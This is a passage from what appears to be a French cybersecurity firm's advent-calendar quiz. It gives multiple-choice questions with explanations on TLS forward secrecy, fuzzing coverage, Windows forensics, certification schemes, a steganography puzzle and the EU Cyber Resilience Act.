Laïus explicatif : La structure EPROCESS (Executive Process) est utilisée par Windows pour gérer chaque processus en cours d’exécution. Elle contient des informations essentielles comme l’identifiant du processus (PID), l’état, les threads associés, et d’autres données nécessaires au système pour suivre les processus actifs. En analysant les structures EPROCESS, on peut lister les processus actuellement en mémoire. Le PEB est lié à chaque processus de manière individuelle. Enfin le KPCR est nécessaire pour trouver l’adresse du KDB qui à son tour permettra de pointer vers le EPROCESS.  

Jour 9 | Quel est le problème si la suite cryptographique TLS_RSA_WITH_AES_256_CBC_SHA256 est utilisée avec l'extension encrypt_then_mac pour la sécurité d'une communication TLS ?

  • Réponse 1 : L’algorithme de chiffrement est trop faible

  • Réponse 2 : L’intégrité de la communication n’est pas assurée

  • Réponse 3 : Il n’y a pas la propriété de confidentialité persistante (Perfect Forward Secrecy)

  • Réponse 4 : Le serveur n’est pas correctement authentifié

Laïus explicatif : La bonne réponse est le manque de confidentialité persistante.

La suite TLS_RSA_WITH_AES_256_CBC_SHA256 utilise la clé publique RSA du serveur pour chiffrer le secret partagé utilisé pour sécuriser les échanges de la session TLS : en cas de compromission de la clé privée du serveur, l’ensemble des échanges des sessions passées peuvent être déchiffrés par un attaquant.
La confidentialité persistante (connue sous le nom de Perfect Forward Secrecy en anglais) consiste en l’utilisation d’un échange Diffie-Hellman éphémère pour négocier le secret partagé, sans utilisation de la clé RSA du serveur.

Jour 8 | Quel est l'avantage d'utiliser un outil de couverture de code lors d'une session de fuzzing ?

  • Réponse 1 : Réduire le temps de fuzzing en optimisant certaines instructions assembleur.

  • Réponse 2 : Utiliser la technique de « pré-chauffage » du harnais (« warming code attack »).

  • Réponse 3 : Pouvoir analyser facilement les sections de code atteintes par le fuzzer.

  • Réponse 4 : Ne pas prendre en compte les vulnérabilités de type use-after-free.

Laïus explicatif : Les outils de couverture de code (“code coverage” en anglais) permettent de savoir avec précision quelles lignes de code d’un programme qui ont réellement été exécutées. Lors d’une session de “fuzzing”, ces outils peuvent aider l’analyste à savoir si les fonctions ciblées ont été atteintes par le fuzzer. Cette technique a notamment été utilisée par un membre de l’équipe Offsec pour trouver une vulnérabilité dans une bibliothèque open-source (voir notre article de blog)

Jour 7 | Quelle est la principale éthique qui doit être prise en compte dans le développement de l’Intelligence Artificielle ?

  • Réponse 1 : L’équité et la non-discrimination

  • Réponse 2 : La transparence des algorithmes utilisés

  • Réponse 3 : La sécurité et la confidentialité des données

  • Réponse 4 : Toutes les réponses

Laïus explicatif : L’équité et la non-discrimination sont des principes fondamentaux dans le développement de l’IA. Les systèmes d’IA doivent être conçus pour éviter les biais et assurer qu’ils ne favorisent pas des groupes spécifiques au détriment d’autres, afin de garantir un traitement juste et égal pour tous les utilisateurs. La transparence des algorithmes est cruciale. Les utilisateurs doivent comprendre comment les décisions sont prises par l’IA, ce qui inclut la possibilité d’expliquer les résultats ou actions générés par un système d’intelligence artificielle, afin d’éviter des décisions opaques ou injustes. La sécurité et la confidentialité des données sont enfin des préoccupations majeures lorsque l’on développe des systèmes d’IA, car ces technologies peuvent collecter et traiter des informations sensibles, ce qui soulève des questions sur la protection des données personnelles et la vie privée.

Jour 6 | Selon vous, en moyenne combien de ransomware ont eu lieu par jour en 2023 dans le monde ?

  • Réponse 1 : 1 par jour

  • Réponse 2 : 100 par jour

  • Réponse 3 : 30 par jour

  • Réponse 4 : 12 par jour

Laïus explicatif : En moyenne 12 attaques ransomware ont été signalées par jour par des victimes dans le monde en 2023 selon les chiffres d’Almond. Pour plus d’informations, n’hésitez pas à consulter notre Threat Landscape.

Jour 5 | Challenge de stéganographie

Réponse : PASSI RGS, PASSI LPM, CESTI, ANJ, Cybersecurity made in Europe, PCI QSA Company et Swift

Etape 1 : Observer l’image, trouver 3 logos cachés (Cybersecurity made in Europe, PCI QSA Company & Swift) et une indication pour chercher dans les métadonnées du fichier. 

Etape 2 : Challenge de stéganographie

En lançant dans son terminal un des outils les plus courants, « binwalk », on trouve une image JPEG dans le PDF. En extrayant les données grâce au même outil et en renommant le fichier en .jpeg, on voit apparaitre une image cachée. Ensuite, en utilisant « steghide », on peut extraire le fichier avec le mot de passe « Almond ». Ce fichier contient une suite de caractère encodée en base64. En la déchiffrant, on obtient les quatre autres certifications : PASSI RGS, PASSI LPM, CESTI et ANJ. 

Jour 4 | Concernant les accompagnements de la nouvelle qualification PACS de l’ANSSI, sur la portée Sécurité des Architectures, quels sont les domaines qui font partie du périmètre possible d’un accompagnement ?

  • Réponse 1 : la sécurité réseau, l’authentification, et l’administration du SI

  • Réponse 2 : la sécurité réseau, la sécurité système, et les mécanismes de chiffrement

  • Réponse 3 : l’administration du SI, le cloisonnement, les sauvegardes, et la stratégie de détection/réponse

  • Réponse 4 : tous ces sujets et plus encore

  • Laïus explicatif : Le référentiel PACS, sur la portée Sécurité des Architectures, porte bien sur tous les sujets liés de près ou de loin aux infrastructures du SI. La liste n’est pas exhaustive et est à adapter à chaque prestation d’accompagnement suivant le périmètre d’intervention. Dans le référentiel, l’ANSSI propose une liste de sujets à adresser dans un rapport PACS page 28 et 29.

    https://cyber.gouv.fr/sites/default/files/document/PACS_referentiel-exigences_v1.0.pdf

Jour 3 | Quel référentiel permet la certification de produits de sécurité ?

  • Réponse 1 : NIS2

  • Réponse 2 : Critères Communs

  • Réponse 3 : PASSI

  • Réponse 4 : ISO27001

Laïus explicatif : Le schéma Critères Communs est un ensemble de normes et méthodologies permettant de cadrer les moyens utilisés pour évaluer, de manière impartiale, la sécurité d’un produit de sécurité (logiciel ou matériel). Ce schéma est reconnu internationalement au travers de plusieurs accords (SOG-IS, CCRA et prochainement EUCC).

Le référentiel PASSI permet la qualification, par l’ANSSI, des prestataires d’audit de la sécurité des SI. ISO27001 est la norme décrivant les bonnes pratiques à suivre dans la mise en place d’un SMSI. Enfin, NIS2 est une directive visant à harmoniser et à renforcer la cybersécurité du marché européen.

Jour 2 | Quel est l’artefact forensique qui permet de prouver une exécution d’un programme sous Windows ?

  • Réponse 1 : JumpList

  • Réponse 2 : ShimCache

  • Réponse 3 : $MFT

  • Réponse 4 : Prefetch

Laïus explicatif : Le Prefetch est un artefact spécifique à Windows qui optimise le chargement des programmes. Lorsqu’un programme est exécuté pour la première fois, Windows crée un fichier dans le dossier C:\Windows\Prefetch, qui contient des informations sur le programme et les ressources qu’il a utilisées. Ces fichiers incluent également des horodatages correspondant à la première et aux dernières exécutions. L’existence d’un fichier Prefetch (.pf) pour un programme est une preuve solide qu’il a été exécuté. C’est l’un des artefacts forensiques les plus fiables pour prouver l’exécution d’un programme.

Jour 1 | Quel texte européen permettra qu’à partir de fin 2027, tous les produits vendus dans l’UE et comprenant des composants numériques seront exempts de vulnérabilités et maintenus pendant tout leur cycle de vie ? #DigitalTrust

  • Réponse 1 : Le Cyber Security Act
  • Réponse 2 : Le Cyber Resilience Act
  • Réponse 3 : La Directive REC
  • Réponse 4 : La Directive NIS2 

Laïus explicatif : Le Cyber Resilience Act, qui a été publié ces derniers jours au Journal Officiel de l’Union Européenne est entré en vigueur le 10 décembre 2024. A compter de cette date, les fabricants et éditeurs doivent adapter leur processus pour pouvoir continuer à vendre des produits au sein de l’UE après le 10/12/2027.

EU Cyber Resilience Act | Shaping Europe’s digital future